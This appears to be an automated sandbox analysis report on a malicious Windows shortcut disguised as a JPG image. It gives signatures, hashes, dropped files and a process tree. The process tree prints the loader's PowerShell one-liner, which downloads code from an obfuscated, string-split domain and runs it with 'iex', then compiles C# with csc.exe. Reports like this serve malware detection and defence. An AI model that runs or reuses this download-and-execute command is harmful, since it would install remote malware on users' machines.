Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 07:31

General

  • Target
    IMG_20260728_025126.jpg.lnk
  • Size 1KB
  • Sample260728-jch5ms11cs
  • SHA256 d7f0aa65c93df80823735b83693a887d778063f64cee970acd8b3769da660593
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_025126.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reser','v','photoinstayno','w.shop')[0,1,2,3] -join $KzKNo) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:944
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB26E.tmp" "c:\Users\Admin\AppData\Local\Temp\wrwiik0r\CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP"
          4⤵
            PID:5604

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RESB26E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESB26E.tmp
          • Size 1KB
          • SHA256 d67835050ae7cbe4277457d4e1a271fa430de5dede682500b96788df64b1576f
          • MD5 SHA1 SHA512 TLSH

          wrwiik0r.dll

          • Path C:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.dll
          • Size 3KB
          • SHA256 26af53ed3620ae457955fbb604489377e8f5304620e16d3078472039c2f4ed09
          • MD5 SHA1 SHA512 TLSH

          CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP
          • Size 652B
          • SHA256 2d3734703890470ea85d6eb419bbed2352dd623fa93d86e3fe1a4bd184a4b24d
          • MD5 SHA1 SHA512 TLSH

          wrwiik0r.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          wrwiik0r.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.cmdline
          • Size 369B
          • SHA256 7db32b3e0ea0fac45ddc16950138f2894e6fe82de3a19ce0194ed345a8499dbb
          • MD5 SHA1 SHA512 TLSH

          memory/944-9-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-8-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-11-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-12-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-13-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-14-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-15-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-16-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-2-0x00007FFE99C0F000-0x00007FFE99C10000-memory.dmp

          memory/944-10-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-7-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-29-0x00000165EB3F0000-0x00000165EB3F8000-memory.dmp

          memory/944-6-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-3-0x00000165EB420000-0x00000165EB442000-memory.dmp

          memory/944-30-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-31-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-32-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

          memory/944-34-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp